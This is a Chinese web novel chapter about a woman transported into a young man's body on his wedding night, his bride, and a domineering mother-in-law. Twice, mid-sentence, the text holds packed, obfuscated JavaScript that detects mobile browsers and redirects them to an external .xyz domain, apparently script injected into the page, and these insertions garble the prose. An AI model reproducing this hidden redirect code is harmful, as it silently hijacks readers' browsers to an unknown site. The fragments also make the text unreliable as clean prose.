《女穿男,画中奇缘》 1. 穿越,竟是新房现场 夜色像一块浸透了墨汁的绒布,缓缓覆盖住喧闹了一天的文化街。肖晨捏着那卷刚买下的美人图,指尖还残留着宣纸特有的粗糙质感。画是在一个不起眼的小摊上淘到的,泛黄的绢本上,女子身着水绿色襦裙,鬓边斜插一支白玉簪,眉眼间流转的风情,像一汪能把人吸进去的清泉。 回到出租屋,肖晨把画挂在床头。灯光下,画中美人的衣袂仿佛在轻轻飘动,她看得有些出神,连睡意悄然而至都没察觉。 梦里一片朦胧的光晕,肖晨感觉自己站在一间古色古香的房间里。床头那幅画竟然活了过来——画中的美人提着裙摆,缓缓从画框里走了出来。水绿色的襦裙扫过地面,带起一阵淡淡的香气,和画上的气韵一模一样。 “等等!”肖晨心头一热,下意识地伸手去抓。指尖眼看就要触到那片飘动的衣袖,一股强大的吸力突然从画中传来,像一个无形的漩涡,瞬间将她卷了进去。天旋地转间,她只听到耳边有细碎的风声掠过,意识很快沉了下去。 再次醒来时,肖晨是被一阵喧闹声吵醒的。他猛地睁开眼,入目是喜庆的红——红色的帐幔,红色的被褥,甚至空气中都弥漫着一股甜腻的胭脂香。 肖晨脑袋昏沉,耳边喜婆的声音仿佛隔着一层雾传来。她瞪大了眼睛,看着眼前大红喜字高挂、布置得喜庆洋洋的洞房,还有身旁盖着红盖头、身姿婀娜的新娘,满心的惊恐与茫然。 她下意识摸了摸自己的脸,触手一片温热,却分明是男子的轮廓。“这到底怎么回事……”她喃喃自语,声音带着酒后的沙哑,却也是陌生的男声,让她心里一阵发寒。 肖晨惊恐地瞪大双眼,环顾着四周古色古香的布置,大红的喜字、摇曳的红烛,一切都显得那么不真实。他下意识地看向自己的身体,双手颤抖着摸了摸,竟然真的是男儿身! “这到底是怎么回事?”肖晨满心的慌乱与无助,忍不住再次大喊起来。那陌生的声音从自己口中传出,让他愈发觉得恐惧。 一旁的喜婆赶忙上前,满脸关切地说道:“少爷,您可悠着点呐,今儿个大喜的日子,您都醉成这样啦,刚才就不小心碰着了,可别再磕着碰着咯。” 肖晨根本无暇顾及喜婆的话,脑袋里乱成一团麻。他努力回忆着,只记得睡前还对着那幅美人图,怎么一觉醒来就到了这莫名其妙的洞房,还变成了男人? 这时,一直低着头坐在床边的新娘似乎察觉到了他的异样,微微抬起头,用那带着羞涩与担忧的目光看向肖晨。肖晨的目光与新娘交汇,更是惊得不知所措。他试图从这场荒诞的梦境中醒来,用力掐了掐自己的手臂,可痛感清晰无比,这才意识到,这并非简单的梦。 喜婆见肖晨呆呆地站着,便笑着催促道:“少爷,快入洞房吧,别让新娘子等急咯。”肖晨满心抗拒,可又不知该如何是好,只能呆呆地站在原地,大脑飞速运转,思索着摆脱这诡异处境的办法。 他深吸一口气,强装镇定地对喜婆说:“我……我想先醒醒酒,喜婆你先出去吧。”喜婆愣了愣,不过还是笑着应了声“好嘞”,便缓缓退了出去,还贴心地带上了房门。 待喜婆离开,房间里只剩下他和新娘。肖晨望着新娘,心中五味杂陈,犹豫片刻后,他轻声开口:“姑娘,实在对不住,我……我现在脑子很乱,可能有些事得弄清楚。”新娘微微颔首,轻声说道:“少爷,您……您是不是哪里不舒服?”肖晨苦笑一声,不知该如何向她解释这离奇的状况,只是无奈地摇了摇头。 肖晨努力梳理着脑海中纷杂的记忆碎片,随着原身记忆的逐渐清晰,他对当下的处境有了更多了解。身处大乾王朝,自己如今这具身体,正是京城首富的独子,也叫肖晨,年仅16岁。想到自己居然和原身同名同姓,肖晨心中不禁泛起一阵奇异的感觉。 从记忆中得知,肖家二老年近三十才好不容易有了这个宝贝儿子,对他简直是捧在手心怕摔了,含在嘴里怕化了,宠爱得不得了。而眼前这位新娘李傲雪,出身官宦世家,才貌双全,两家算得上是门当户对,因此促成了这桩婚事。 肖晨望着低头不语的李傲雪,心中有些不知所措。在现代,他不过是个刚毕业的大学生,哪经历过这种古代洞房花烛夜的场面。况且,他一心只想着怎么回到现代,对眼前这场莫名其妙的婚姻实在没有心思应对。 他清了清嗓子,尽量让自己的声音听起来温和些:“李姑娘,今日之事太过突然,我……我有些不知如何是好。你放心,我不会做出什么唐突的举动。只是如今我脑子还乱得很,咱们能否先好好聊聊?” 李傲雪微微抬起头,眼中闪过一丝惊讶与羞涩,但还是轻轻点了点头。肖晨见她应允,便在一旁的椅子上坐下,整理了一下思绪,缓缓说道:“李姑娘,我想跟你坦诚相告,我……我感觉自己好像变了个人似的,很多事都记不太清了。我知道这样说你可能觉得荒谬,但我希望你能帮帮我,给我讲讲咱们之间,还有这府里的事,不知可否?” 李傲雪听了肖晨这番话,心中虽疑惑重重,但见他一脸诚恳,不像是在说谎,便轻声说道:“少爷,既然您这么说,那妾身便知无不言。咱们两家早有婚约,今日便是成亲的日子。至于府里,公公婆婆都极为和善,对少爷更是疼爱有加。府中下人也都本分,并无什么复杂之事。” 肖晨听着李傲雪的讲述,一边努力将这些信息与脑海中原身的记忆相互印证,一边思索着接下来该怎么办。他深知,想要回到现代,首先得弄清楚这一切究竟是如何发生的,而这古代的一切,对他来说既陌生又充满了未知的挑战。 肖晨握着喜秤的手微微颤抖,缓缓挑起李傲雪的盖头。刹那间,一张美得动人心魄的脸映入他眼帘。只见她肌肤好似羊脂玉般细腻光滑,双眸犹如春日绽放的桃花,眼波流转间,似有盈盈秋水,而那小巧的樱桃小嘴,不点而朱,诱人至极。 肖晨的目光刚触及这张脸,瞬间瞪大眼睛,眼中满是惊恐与难以置信。他下意识地后退一步,手指哆哆嗦嗦地指着李傲雪,声音都因恐惧而变了调:“小……小姐姐,你是人还是鬼?” 李傲雪被肖晨这突如其来的举动和话语吓了一跳,脸上的娇羞瞬间化作担忧与疑惑,她的眼眶微微泛红,带着几分委屈说道:“少爷,您这是怎么了?为何突然说这般话,妾身自然是人,怎会是鬼呢?” 肖晨看着李傲雪那副楚楚可怜、全然无辜的模样,心中愈发慌乱。他明明记得,眼前这张脸,就是自己在文化街买的美人图上的女子。可这画中之人怎么会活生生出现在自己的洞房之中?难道是那幅画有什么诡异之处,将自己卷入了这个离奇的世界,还让画中女子成了自己的新娘? 肖晨深吸几口气,努力让自己镇定下来,可脑海里依旧乱作一团。他望着李傲雪,结结巴巴地解释道:“对……对不起,李姑娘。只是你这模样,与我之前见过的一幅画中的女子实在太过相像,这才一时失态,吓到你了。” 李傲雪微微皱眉,眼中闪过一丝诧异:“画中的女子?少爷,是何画?为何会与妾身如此相像?”肖晨无奈地叹了口气,不知该如何向她解释这一连串离奇的遭遇,只能含糊其辞地说道:“此事说来话长,而且太过离奇,我自己都还没弄明白。李姑娘,你真的一点都不知道这其中缘由吗?” 李傲雪轻轻摇头,眼中满是迷茫:“少爷,妾身真的不知。但既然已成亲,往后妾身与少爷便是一体,若有什么难事,还望少爷莫要独自承担,咱们夫妻二人一同面对便是。”肖晨听着李傲雪这番话,心中不禁有些触动。在这陌生又荒诞的处境中,眼前这位女子的话,竟让他感受到一丝温暖与依靠。可这一切的谜团,又该从何处解开呢? 肖晨定了定神,决定先将自己离奇穿越等事隐瞒下来。他挠挠头,装出一副因磕头而脑子仍有些迷糊的模样,笑着对李傲雪说道:“小姐姐,我这刚磕完头,脑袋还昏昏沉沉的,突然就想问问,你今年多大了呀?” 李傲雪微微颔首,轻声答道:“回少爷,妾身今年已经十九了。”肖晨微微一愣,随即说道:“那岂不是比我大了三岁。” 李傲雪听肖晨这么一说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993162|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,心中“咯噔”一下,不禁暗自揣测,难道少爷是嫌弃自己年长?她心中泛起一丝失落,头也不自觉地低了下去,声音愈发轻柔:“少爷,虽说妾身痴长您几岁,但往后定会悉心照料您,操持好家中诸事,还望少爷莫要嫌弃。” 肖晨见李傲雪这般模样,才反应过来自己的话似乎引起了误会,赶忙摆了摆手,解释道:“李姑娘,你别误会。我并无嫌弃之意,只是随口一说。我听闻,女子年长些,更懂得体贴照顾人,我欢喜还来不及呢。” 李傲雪微微抬眸,眼中带着一丝惊喜与犹疑,看向肖晨:“少爷此话,可当真?”肖晨用力地点点头,一脸认真:“自然当真!你我既已成亲,便是夫妻,往后定要相互扶持。我年纪尚轻,许多事还不懂,往后还得多仰仗李姑娘你呢。” 李傲雪听了肖晨这番话,心中的担忧顿时消散了几分,脸上也浮现出一抹淡淡的红晕,轻声说道:“少爷过谦了,往后妾身自会与少爷携手相伴,打理好这家中大小事务。” 肖晨看着李傲雪,心中暗暗松了口气。 肖晨一脸好奇地看着李傲雪,忍不住又追问起来:“只是你我二人都没怎么相处过,而且你还比我大,怎么就心甘情愿嫁给我了呢?” 李傲雪微微垂眸,眼中闪过一丝复杂的情绪,轻声解释道:“本来妾身早几年便到了该出嫁的年纪,只是你我两家早有娃娃亲的约定。父母之命,媒妁之言,这门亲事自然是要遵从的。” 肖晨听了,还是有些不解,脱口而出:“可即便有娃娃亲,那也不一定要非得嫁给我呀。” 李傲雪听他这话,心中一紧,只觉得肖晨这话里话外透着对自己的不喜。她心中一阵酸涩,眼眶微微泛红,声音也带上了一丝哽咽:“少爷这么说,莫不是嫌弃妾身,不愿与妾身结成连理?若真是如此,还望少爷给个痛快话,妾身……妾身也绝无怨言。” 肖晨见李傲雪误会得如此之深,顿时慌了神,急忙坐到她身边,摆了摆手说道:“李姑娘,你千万别这么想!我真不是这个意思。我只是初来乍到,对这些事儿实在有些懵懂,所以才问个不停。你千万别往心里去,我既然与你拜了堂,那便认定你是我妻子了。” 李傲雪抬眸看向肖晨,眼中泪光闪烁,似乎在分辨他话中的真假。肖晨一脸诚恳地与她对视,眼神坚定。过了好一会儿,李傲雪才轻轻点了点头,低声说道:“但愿少爷此话出自真心,往后……往后妾身便信了少爷。” 肖晨见李傲雪情绪稍有缓和,暗暗松了口气,心中琢磨着,在这古代,自己与她既是夫妻,那往后还得好好相处,才能一起度过这段不知何时是尽头的日子。 肖晨看着李傲雪那副小心翼翼的模样,忍不住笑了笑,调侃道:“小姐姐,你怎么这么胆小呀,怎么就这么怕我不满意呢?” 李傲雪微微咬着下唇,眼中满是无奈与忧虑,轻声说道:“少爷有所不知,在这世上,女子讲究三从四德。若是夫家不满意,一纸休书将妾身退回,那妾身便没了活路。不仅要承受旁人的指指点点,就连家中父母也会颜面无光,往后妾身又有何颜面苟活于世。” 肖晨听了李傲雪这番话,心中不禁泛起一阵同情。在现代社会,女性独立自主,拥有平等的地位和选择的权利。可在这封建的大乾王朝,女子的命运竟如此坎坷,完全依附于夫家。 他看着李傲雪,眼神变得柔和起来,认真地说道:“李姑娘,你不必如此担忧。我既已与你成婚,便不会做出那等休妻之事。你我夫妻二人,往后相互尊重,好好过日子便是。你也莫要总是将自己束缚在那些规矩之中,往后有什么想法,大可与我直说。” 李傲雪听闻肖晨这番话,眼中满是惊喜与感动,她微微欠身,说道:“多谢少爷体谅,妾身定会铭记少爷今日所言,往后定当尽心尽力,辅佐少爷,操持好家中诸事。” 肖晨点点头,心中思索着,既然暂时回不去现代,那在这陌生的世界里,自己不仅要想办法找到回去的路,也要尽自己所能,让李傲雪能过得自在些,改变一下她对女子命运的固有认知。 2. 婆媳关系最难处 肖晨深吸一口气,觉得有些话还是得跟李傲雪讲清楚。他神色认真,缓缓开口道:“李姑娘,实不相瞒,我对你目前确实没什么男女之间的感情。你也知道,我此前一个人自由自在惯了,一下子成了亲,实在有些不适应。” 李傲雪听闻,心中一沉,脸上的笑容瞬间僵住,眼中满是失落,但她还是强忍着情绪,微微点头:“少爷的意思,妾身明白了。” 肖晨见她如此,急忙补充道:“不过你别误会,我并无恶意。我只是觉得,咱们虽已成亲,但感情之事勉强不得。往后,我们可以像朋友那般,相敬如宾,互不干涉彼此的生活。你有你的喜好,我也有我的追求,咱们就……和平共处,可好?” 李傲雪抬起头,眼中泪光闪烁,却仍努力保持着端庄,轻声说道:“一切但凭少爷做主。妾身既已嫁入肖家,自会遵循少爷的意思,相敬如宾便好。” 肖晨看着李傲雪强装坚强的模样,心中有些不忍,但又觉得这是目前最好的相处方式,毕竟自己的灵魂是个女孩,无法像原身那样给予她男女之情。他轻叹一声,说道:“李姑娘,你能理解便好。往后若有什么难处,尽管与我说,我能帮上的,一定不会推脱。” 李傲雪微微颔首,轻声应道:“多谢少爷体恤。” 屋内一时间陷入了沉默,气氛有些凝重。 肖晨见李傲雪似是明白了自己的意思,便随口说道:“你能明白就好,时候也不早了,我们睡吧。”说罢,他径直走向床榻,伸手便要脱衣服,可这古代的衣物繁杂,他摸索半天竟怎么都脱不开。 肖晨有些窘迫,下意识地转头看向李傲雪,无奈说道:“小姐姐,这衣服我实在弄不明白,麻烦你给我宽衣解带吧。” 李傲雪听闻,脸上顿时泛起一阵红晕。虽说二人已成亲,但如此亲密之举,仍让她羞涩不已。她犹豫片刻,轻移莲步,缓缓走到肖晨身边。微微颤抖着双手,开始为肖晨解衣。她低垂着头,不敢直视肖晨,动作轻柔而拘谨,空气中弥漫着一丝微妙的紧张氛围。 肖晨也察觉到了这份尴尬,为了缓解气氛,他故作轻松地说道:“这古代衣服着实麻烦,我以前可没穿过,还得多亏你帮忙。”李傲雪轻声应了一下,并未多言,专注于手上的动作。待帮肖晨解开衣物后,她赶忙退开几步,微微侧身,不敢再多看。 肖晨见衣服已解开,便自行躺到床上,说道:“你也早些休息吧。”李傲雪微微点头,轻声应道:“是,少爷。”随后,她走到另一边,小心翼翼地坐在床边,缓缓躺下,与肖晨保持着一段距离,房中烛火摇曳,两人各怀心事,在这略显尴尬的氛围中,渐渐进入梦乡。 清晨,肖晨被一阵若有若无的香气吸引,迷迷糊糊地翻过身,下意识地睁开眼。映入眼帘的一幕让他瞬间清醒,只见李傲雪竟未着寸缕,细腻的肌肤暴露在空气中,就睡在自己身旁。 肖晨的大脑瞬间一片空白,紧接着一股热意涌上心头,身体竟不由自主地起了反应。他惊恐万分,脸“唰”地一下红透,赶忙慌慌张张地翻身背对着李傲雪,心中满是懊恼与无奈:“这都什么事儿啊!这男人的身体怎么如此不受控制!” 他紧闭双眼,努力让自己镇定下来,不断在心里告诫自己:“我灵魂可是女生,不能这样,不能这样……”可即便如此,他的心跳依旧快得如同擂鼓,身体的异样也难以在短时间内消散。 而另一边,李傲雪仍在睡梦中,浑然不知身旁肖晨的慌乱。肖晨只觉得此刻的每一秒都无比煎熬,满心期盼着李傲雪能快点醒来,打破这令人尴尬到极点的局面。 就在肖晨满心煎熬时,外面传来丫鬟轻柔的敲门声,“笃笃笃”,紧接着丫鬟的声音响起:“少爷、少夫人,老爷和夫人在客厅等候,盼着少爷和少夫人前去奉茶呢。” 李傲雪被这声音唤醒,嘤咛一声缓缓睁开双眼。她睡眼惺忪,先是下意识地伸手揉了揉眼睛,随后似乎察觉到身旁肖晨的异样,微微转头看向他。 肖晨听到李傲雪有了动静,赶忙装作才从睡梦中醒来的样子,发出一声含糊的“嗯”,翻了个身,睁开眼睛,一脸懵懂地看向四周。 李傲雪迅速反应过来,脸上泛起红晕,急忙拉过被子遮住自己的身体。这时,肖晨对着门外喊道:“进来吧。” 丫鬟们轻轻推开门,鱼贯而入。她们训练有素,眼神低垂,并不直视床上的二人。其中两个丫鬟走到肖晨床边,轻声说道:“少爷,奴婢伺候您穿衣洗漱。” 肖晨微微点头,在丫鬟们的协助下起身。丫鬟们手法娴熟,很快便为他穿上了繁复的衣袍,又端来洗漱用具,伺候他洗漱。而另一边,李傲雪也在丫鬟的帮助下迅速穿戴整齐,整理好妆容。 穿戴完毕后,肖晨和李傲雪对视一眼,彼此眼中都有着昨夜之事带来的些许不自然。但很快,他们便调整好神色,携手向客厅走去,准备去面对肖晨那宠爱他的父母,完成奉茶这一成亲后的重要礼节。 丫鬟们待肖晨和李傲雪离开后,才上前整理床铺。一眼便瞧见那洁白的帕子依旧干净如初,不动声色地将其收起。 肖晨和李傲雪并肩来到客厅,只见厅中坐着肖晨的父母,二老脸上洋溢着幸福的笑容,眼神里满是对这对新人的欢喜与期待。 肖晨深吸一口气,努力回忆着脑海中原身关于敬茶礼节的记忆。他和李傲雪一同走到二老跟前,双双跪地。肖晨先端起一盏茶,毕恭毕敬地递给父亲,说道:“父亲,请喝茶。”老爷子脸上笑意更浓,接过茶盏,轻轻抿了一口,随后将一个装满银票的红包递给肖晨,慈爱地说:“好,好啊,晨儿成家了,往后可要好好过日子。” 肖晨又拿起另一盏茶,递给母亲,说道:“母亲,请喝茶。”母亲接过茶,眼中满是欣慰,笑着说:“我的儿,娶了这么好的媳妇,可不能辜负人家。”说完,也给了肖晨一个红包。 接着,李傲雪也依样给二老敬茶。二老同样满心欢喜地接过,给了李傲雪见面礼,还不住地夸赞她模样俊俏、举止得体。 敬茶仪式结束后,一家人其乐融融地坐在客厅,聊起家常。肖晨表面上陪着笑脸,应答着父母的话语,心中却还在暗自思索着自己这离奇的穿越经历,以及未来该如何是好。 这时,下人们迈着轻快的步伐走进客厅,恭敬地通报:“老爷、夫人、少爷、少夫人,早饭已经在饭厅备好,请移步用餐。” 众人起身,一同前往饭厅。肖晨一踏入饭厅,就被桌上琳琅满目的食物惊到。只见桌上摆着热气腾腾的海鲜粥,颗颗饱满的米粒浸润在鲜美的汤汁里,点缀着鲜嫩的虾肉、肥美的干贝;一旁精致的碟子里,码放着造型各异的糕点,色泽诱人,一看便知制作工艺精湛;还有那闻名遐迩的宋嫂鱼羹,细腻的鱼肉切成丝状,融入浓稠鲜美的羹汤之中,散发着阵阵勾人食欲的香气。此外,还有诸多叫得上名与叫不上名的名菜,满满当当地摆满了一桌,不愧是京城首富之家,富贵之气尽显。 一家人纷纷落座,开始用餐。二老一边吃着,一边满脸笑意地看向肖晨和李傲雪。老爷子率先开口,语重心长地说道:“晨儿,傲雪,如今你们二人已成亲,便是一家人了。这过日子啊,就得有个过日子的样子。你们可得早点抓紧生孩子,我们老两口也能早日抱上孙子,享受这天伦之乐。” 肖晨听到这话,正往嘴里送糕点的手微微一滞,心中暗暗叫苦。自己本就灵魂是个女孩,这生孩子的事,从心理上来说实在难以接受,可又不能直接向二老坦白这离奇的情况。他尴尬地笑了笑,含糊地应道:“爹,您和娘放心,我们……我们会努力的。” 李傲雪则是微微红了脸,羞涩地低下头,轻声说道:“爹娘说的是,儿媳明白。”二老见状,相视一笑,眼中满是对小两口的期待。 二老看着肖晨,接着说道:“晨儿啊,虽说你刚成亲,但这读书可不能落下。咱们家虽富甲一方,可读书考取功名,才是正途。一会儿先生就要到了,吃完饭你可得好好读书,莫要懈怠。” 肖晨听闻,心中一动。他本就想着在这陌生的朝代,多学些知识或许有助于自己找到回去的办法,或者更好地适应这里的生活。于是,他赶忙点头应道:“爹、娘,你们放心,儿子明白。读书一事,儿子定会放在心上,不敢有丝毫懈怠。” 二老听了肖晨的话,面露欣慰之色。老爷子笑着说:“如此便好,咱们家有的是钱,不愁吃穿,你只需专心读书。若能谋个一官半职,那便是光宗耀祖了。” 肖晨一边应和着,一边在心里琢磨,古代的知识体系与现代大不相同,这读书求知的过程,想必会充满挑战,但也定会收获颇丰。他暗暗给自己打气,一定要抓住这个学习的机会。一家人用完早餐后,肖晨便收拾好心情,准备迎接先生的到来。 肖父领着肖晨前往书房,这边肖母则温和地对李傲雪说道:“傲雪啊,你来客厅,娘有几句话想跟你说。”李傲雪乖巧点头,跟着肖母来到客厅。 刚一落座,丫鬟们轻步走到肖母跟前,小心翼翼地将那块洁白如初的帕子呈了上来。肖母看到帕子,脸色瞬间一沉,已然明白了一切。她目光严肃地看向李傲雪,冷冷说道:“你,给我跪下!” 李傲雪被这突如其来的变故吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993163|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得脸色苍白,双腿一软,“扑通”一声跪在肖母面前。她心中满是惶恐,低着头,不敢直视肖母的眼睛,声音颤抖地问道:“娘,儿媳……儿媳不知做错何事,还望娘明示。” 肖母看着跪在地上的李傲雪,语气严厉地说:“你既已嫁入我肖家,便是我肖家的媳妇,就该谨守本分。新婚之夜,这帕子为何还是干净的?你可知这意味着什么?”李傲雪听了,心中“咯噔”一下,羞愤与委屈顿时涌上心头,眼眶中瞬间蓄满泪水,却又不敢轻易落下,只能嗫嚅着解释道:“娘,昨夜……昨夜少爷他……他说想与儿媳先相敬如宾,所以……” 肖母眉头紧皱,打断她的话:“相敬如宾?哪有新婚夫妻头一晚就说这些的!你莫不是哪里做得不好,惹得晨儿不满意?我肖家世代讲究规矩,这等事若传出去,让旁人如何看待我肖家?”李傲雪满心委屈,却又不知该如何辩解,只能不断磕头,哭着说道:“娘,儿媳日后定会好生侍奉少爷,还望娘恕罪。”肖母看着李傲雪这副模样,心中虽有气,但也不好再多说什么,只是冷哼一声:“起来吧,往后做事多用点心,尽快让晨儿回心转意,早日为肖家开枝散叶。”李傲雪忙不迭地起身,低着头,用帕子轻轻擦拭着眼泪,心中满是苦涩与无奈。 肖母听了李傲雪的解释,心中仍有疑虑,便立刻差人把喜婆唤了过来。喜婆匆匆赶到客厅,刚一进门,便察觉到气氛不对,心中不禁暗暗打鼓。 肖母面色阴沉地盯着喜婆,质问道:“昨夜到底是怎么回事?你给我从实说来!”喜婆战战兢兢,不敢有丝毫隐瞒,赶忙把昨天肖晨喝醉酒磕到头,醒来后行为有些异样的事情一五一十说了出来。 肖母听完,眉头拧得更紧,怒目圆睁地瞪着李傲雪,厉声道:“哼,定是你没有伺候好我儿子,他才对你不满意!还拿他磕到头当借口,差点就被你骗了!”说罢,又转头看向喜婆,同样怒喝道:“还有你!既然少爷喝多磕了头,你为何不仔细照料?” 喜婆吓得“扑通”一声跪下,连连磕头:“老夫人赎罪啊,老奴当时也没想到会这样,已经尽力了呀。”肖母根本不听她的辩解,冷冷下令:“你给我跪下!中午不许吃饭,好好反省反省自己的过错!若再有此类事情发生,定不轻饶!” 喜婆满脸惊恐,只得喏喏称是。李傲雪站在一旁,眼泪在眼眶里打转,满心委屈却又不敢再出声辩解。客厅里气氛压抑得让人喘不过气来,肖母坐在主位上,脸色依旧阴沉。 肖母看向李傲雪,语气严肃且带着不容置疑:“傲雪,自古以来,女人孝顺公婆、伺候丈夫、传宗接代,这些都是至关重要的。你出身官宦世家,是大家闺秀,不会不明白这其中的道理吧?不管晨儿表现如何,昨夜你没能尽到一个做妻子的本分,那便是你的失职。” 李傲雪满心委屈,泪水在眼眶里打转,却只能低头轻声应道:“娘,儿媳明白。只是昨夜少爷他……但儿媳往后定会努力,好好伺候少爷,不让娘操心。” 肖母微微皱眉,缓了缓语气说道:“娘也知道,这夫妻之事讲究你情我愿,可咱们肖家子嗣为重。你既已嫁进来,就得想办法让晨儿回心转意,尽快为肖家添丁。这不仅是为了你自己,也是为了整个肖家。” 李傲雪咬了咬嘴唇,强忍着泪水说道:“儿媳记住了,往后定当谨遵娘的教诲,好好与少爷相处,早日完成娘的心愿。”肖母看着李傲雪,微微点头,神色稍缓:“起来吧,希望你说到做到。这家中上下都看着呢,可别让娘失望。”李傲雪这才缓缓起身,心中五味杂陈,深知自己在这肖家的日子,从这一刻起,注定不会轻松。 肖母目光直直地盯着李傲雪,眼神里透着威严与冷峻,加重了语气说道:“我可是把丑话说在前头,你要是一直不懂得怎么伺候男人,好好笼络晨儿的心,我们肖家可不缺那点钱财,也不介意再换个媳妇进家门。” 李傲雪听闻,身子猛地一颤,脸上血色瞬间褪尽,满心的恐惧如潮水般涌来。她“噗通”一声再次跪地,声音带着哭腔说道:“娘,儿媳真的知道错了,儿媳定会竭尽全力伺候好少爷,求娘再给儿媳一次机会,儿媳定不会让娘失望。” 肖母看着跪地哀求的李傲雪,心中并无太多波澜,依旧冷冷地说:“机会我可以给你,但你要好自为之。肖家的规矩,容不得任何人破坏,你往后的一举一动,我都看着呢。”李傲雪不停地点头,泪水止不住地落下,打湿了地面。她深知自己在这肖家的地位岌岌可危,往后的日子,必须想尽办法迎合肖家的期望,尤其是要让肖晨对自己改观,否则等待她的,或许就是被休弃的悲惨命运。 3. 肖母背着他给儿媳立规矩 肖母俯下身,凑近李傲雪,眼神如针般锐利,一字一顿地说道:“我今天跟你说的这些话,你一个字都不许透露给晨儿。这是咱们家内部的事儿,属于家务机密。同样,你也绝不能往外面宣扬半句。要是我听到一星半点风声,可别怪我翻脸无情。” 李傲雪满心惶恐,忙不迭地点头,声音颤抖:“娘,儿媳明白,儿媳就是有天大的胆子,也不敢把这话传出去。儿媳一定守口如瓶,求娘放心。” 肖母直起身子,满意地微微颔首:“你清楚就好。咱们肖家在京城也算有头有脸,家丑不可外扬。你既然进了肖家门,就得事事以肖家的名声为重。” 李傲雪低声应道:“是,娘。儿媳定以肖家为重,绝不给肖家抹黑。”此刻的她,心中沉甸甸的,深知自己不仅要面对与肖晨复杂的关系,还得严守肖母的禁令,稍有差池,后果不堪设想。 肖母眼神犀利地盯着李傲雪,语气强硬:“你明白最好。你也该为你父母想想,要是因为你在我肖家的事,让他们蒙羞,你于心何忍?今晚你就放下那些所谓的矜持,想尽办法和晨儿圆房。倘若明天还是如今日这般,我可就不会再这么好说话了。” 李傲雪脸色煞白,泪水在眼眶中打转,嘴唇颤抖着嗫嚅:“娘……”话未出口,却已被满心的委屈与无奈哽住。她深知自己毫无反抗之力,只能点头,低声应道:“娘,儿媳……儿媳尽力而为。” 肖母微微皱眉,冷哼一声:“不是尽力,而是必须做到。你既已嫁入肖家,就得履行肖家儿媳的责任。别让我再为这事操心。”李傲雪咬着下唇,强忍着泪水,再次点头,心中五味杂陈,不知今晚面对肖晨,该如何开口,又该如何完成肖母所要求之事。 肖母看着呆立原地的李傲雪,愈发不耐烦,提高音量道:“你也别再端着你那小姐的身段了!你夫君都去读书了,你还傻站在这儿干什么?还不快去厨房炖汤,再准备些精致的茶点,送到书房去,好好伺候他。整天跟个木头似的,一点眼力见儿都没有。” 李傲雪被这一顿数落,吓得一颤,忙不迭应道:“是,娘,儿媳这就去。”说罢,她不敢再有丝毫耽搁,匆匆往厨房走去。 到了厨房,李傲雪强打起精神,指挥着厨子们准备炖汤的食材。她亲自挑选了鲜嫩的鸡肉,搭配上滋补的药材,看着厨子将汤炖上,又赶忙去点心房,精心挑选了几样肖晨平日爱吃的茶点,仔细装盘。 一切准备妥当,李傲雪带着丫鬟,小心翼翼地端着炖汤和茶点前往书房。一路上,她满心忐忑,既担忧肖晨见到自己会不悦,又害怕伺候得不好,回去再遭肖母责骂。 肖晨随着肖父踏入书房,一眼便瞧见那位白发稀疏的老先生正站在书案旁。他赶忙依照往常所行的礼仪,恭敬地作揖问候:“先生安好。”老先生面容和蔼,脸上浮现出亲切的笑容,温和地回应:“肖少爷新婚大喜,老夫在此恭祝少爷与少夫人百年好合,琴瑟和鸣。” 肖父听闻,脸上笑意更浓,开怀地笑了笑,随后从袖中掏出一个红包,递向老先生,说道:“先生一向费心教导犬子,如今晨儿新婚,这是一点心意,还望先生收下。”老先生推辞一番,最终还是笑着接过,连声道谢:“老爷客气了,教导少爷本就是老夫分内之事。” 肖晨在一旁看着这一幕,心中不禁感慨,这古代的礼仪和人情往来还真是繁琐。不过,看着父亲与先生这般和睦的样子,他也能感受到家中对自己学业的重视。此刻,他暗暗下定决心,无论如何,都要利用好这个学习的机会,多掌握一些知识,也好在这陌生的时代多几分立足的底气。 肖父又叮嘱肖晨:“晨儿,你既已成婚,更该懂得上进。往后在学业上,须得听先生的话,切不可懈怠。”肖晨赶忙点头应道:“父亲放心,儿子定不辜负您和先生的期望。” 老先生微笑着看向肖晨,说道:“少爷新婚之后,想必心境也有所不同。接下来,咱们便继续研习经史子集。”说罢,他走到书架前,取出一本古籍,轻轻放在书案上。 肖晨走近书案,与老先生一同坐下。老先生缓缓翻开古籍,开始讲解其中的文章。肖晨聚精会神地听着,可古代的学问对于有着现代灵魂的他来说,理解起来着实有些困难。尽管如此,他还是努力跟上老先生的思路,不时提出自己的疑问。 就在这时,书房门被轻轻敲响。肖晨起身开门,只见李傲雪带着丫鬟,端着炖汤和茶点站在门外。李傲雪微微福身,轻声说道:“少爷,这是我为您炖的汤,还有些茶点,怕您读书累了,给您送来。” 肖晨看着李傲雪,心中有些诧异,却还是侧身让她们进来。丫鬟将炖汤和茶点摆在一旁的桌上,李傲雪亲自盛了一碗汤,递给肖晨,说道:“少爷,趁热喝。”肖晨接过汤碗,轻声说了句“多谢”。 肖父见状,笑着对老先生说道:“先生,您瞧,儿媳这般贴心,晨儿往后更该用心读书才是。”老先生点头称是:“少夫人如此贤良,少爷自是要珍惜,在学业上也当更有动力。” 